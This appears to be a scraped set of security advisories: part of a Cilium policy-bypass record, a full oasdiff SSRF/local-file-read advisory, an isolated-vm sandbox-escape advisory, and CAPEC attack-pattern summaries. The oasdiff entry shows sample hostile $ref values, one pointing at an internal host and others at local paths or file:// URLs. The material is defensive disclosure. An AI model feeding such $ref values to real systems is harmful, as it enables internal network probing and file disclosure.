comments about this advisory, please reach out on [Slack](https://docs.cilium.io/en/latest/community/community/#slack).\n\nAs usual, if you think you found a related vulnerability, we strongly encourage you to report security vulnerabilities to our private security mailing list: [security@cilium.io](mailto:security@cilium.io) - first, before disclosing them in any public forums. This is a private mailing list where only members of the Cilium internal security team are subscribed to, and is treated as top priority.\n",
  "id": "GHSA-2h44-x2wx-49f4",
  "modified": "2023-06-02T23:57:03Z",
  "published": "2023-05-22T20:33:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/security/advisories/GHSA-2h44-x2wx-49f4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30851"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cilium/cilium"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/releases/tag/v1.11.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/releases/tag/v1.12.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cilium/cilium/releases/tag/v1.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Potential HTTP policy bypass when using header rules in Cilium"
}

GHSA-2JCC-MXV7-P3F9

Vulnerability from github – Published: 2026-07-07 23:45 – Updated: 2026-07-07 23:45
VLAI
Summary
oasdiff does not enforce --allow-external-refs=false on the git-revision load path (SSRF / local file read)
Details

Summary

From v1.13.2 through v1.18.0, oasdiff did not enforce --allow-external-refs=false (library: openapi3.Loader.IsExternalRefsAllowed = false) when loading a spec from a git revision (the rev:path form, e.g. main:openapi.yaml). External $refs were resolved on that load path even when external refs were explicitly disabled, so the mitigation silently did not apply there.

Impact

A caller who set --allow-external-refs=false specifically to safely process untrusted specs remained exposed — on the git-revision load path only — to:

  • SSRF via $ref: "http://<internal-host>/…", and
  • Local file reads via $ref: "/path" or file://.

Affected callers:

  • CLI: oasdiff diff main:openapi.yaml HEAD:openapi.yaml --allow-external-refs=false (and breaking / changelog / summary, and the git-diff-driver) run over untrusted spec content.
  • Go library consumers of github.com/oasdiff/oasdiff/load that set IsExternalRefsAllowed = false and load from a git-revision source via load.NewSpecInfo.

The file and URL load paths correctly enforced the setting; only the git-revision path was affected. Callers that left external refs at the default (true) are not in scope for this advisory.

Patches

v1.18.1 enforces the external-refs policy on the git-revision path (so --allow-external-refs=false now blocks external $refs there) and returns a dedicated exit code (123) when an external $ref is refused.

Workarounds

  • Upgrade to v1.18.1, or
  • Avoid the git-revision input form when processing untrusted specs with external refs disabled.

Notes

  • Introduced in v1.13.2 (#832, which added $ref-chain resolution on the git-revision path); fixed in v1.18.1 (#974, #975).
  • The permissive default (allow-external-refs: true) and its zero-interaction exposure in CI via the GitHub Action is tracked separately in GHSA-fhj3-7267-7vv5 (oasdiff-action).
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/oasdiff/oasdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.2"
            },
            {
              "fixed": "1.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:45:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nFrom **v1.13.2** through **v1.18.0**, oasdiff did not enforce `--allow-external-refs=false` (library: `openapi3.Loader.IsExternalRefsAllowed = false`) when loading a spec from a **git revision** (the `rev:path` form, e.g. `main:openapi.yaml`). External `$ref`s were resolved on that load path even when external refs were explicitly disabled, so the mitigation silently did not apply there.\n\n## Impact\n\nA caller who set `--allow-external-refs=false` *specifically to safely process untrusted specs* remained exposed \u2014 on the git-revision load path only \u2014 to:\n\n- **SSRF** via `$ref: \"http://\u003cinternal-host\u003e/\u2026\"`, and\n- **Local file reads** via `$ref: \"/path\"` or `file://`.\n\nAffected callers:\n\n- **CLI:** `oasdiff diff main:openapi.yaml HEAD:openapi.yaml --allow-external-refs=false` (and `breaking` / `changelog` / `summary`, and the `git-diff-driver`) run over untrusted spec content.\n- **Go library consumers** of `github.com/oasdiff/oasdiff/load` that set `IsExternalRefsAllowed = false` and load from a git-revision source via `load.NewSpecInfo`.\n\nThe file and URL load paths correctly enforced the setting; only the git-revision path was affected. Callers that left external refs at the default (`true`) are not in scope for *this* advisory.\n\n## Patches\n\n**v1.18.1** enforces the external-refs policy on the git-revision path (so `--allow-external-refs=false` now blocks external `$ref`s there) and returns a dedicated exit code (`123`) when an external `$ref` is refused.\n\n## Workarounds\n\n- Upgrade to **v1.18.1**, or\n- Avoid the git-revision input form when processing untrusted specs with external refs disabled.\n\n## Notes\n\n- Introduced in **v1.13.2** (#832, which added `$ref`-chain resolution on the git-revision path); fixed in **v1.18.1** (#974, #975).\n- The permissive **default** (`allow-external-refs: true`) and its zero-interaction exposure in CI via the GitHub Action is tracked separately in GHSA-fhj3-7267-7vv5 (oasdiff-action).",
  "id": "GHSA-2jcc-mxv7-p3f9",
  "modified": "2026-07-07T23:45:05Z",
  "published": "2026-07-07T23:45:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/security/advisories/GHSA-2jcc-mxv7-p3f9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/975"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oasdiff/oasdiff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "oasdiff does not enforce --allow-external-refs=false on the git-revision load path (SSRF / local file read)"
}

GHSA-2JJQ-X548-RHPV

Vulnerability from github – Published: 2022-09-30 22:59 – Updated: 2023-08-24 22:25
VLAI
Summary
isolated-vm has vulnerable CachedDataOptions in API
Details

Impact

If the untrusted v8 cached data is passed to the API through CachedDataOptions, the attackers can bypass the sandbox and run arbitrary code in the nodejs process. Version 4.3.7 changes the documentation to warn users that they should not accept cachedData payloads from a user.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "isolated-vm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-287",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-30T22:59:03Z",
    "nvd_published_at": "2022-09-29T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nIf the untrusted v8 cached data is passed to the API through CachedDataOptions, the attackers can bypass the sandbox and run arbitrary code in the nodejs process. Version 4.3.7 changes the documentation to warn users that they should not accept `cachedData` payloads from a user.",
  "id": "GHSA-2jjq-x548-rhpv",
  "modified": "2023-08-24T22:25:36Z",
  "published": "2022-09-30T22:59:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/security/advisories/GHSA-2jjq-x548-rhpv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39266"
    },
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/issues/379"
    },
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/commit/218e87a6d4e8cb818bea76d1ab30cd0be51920e8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/laverdet/isolated-vm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/commits/v4.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "isolated-vm has vulnerable CachedDataOptions in API"
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.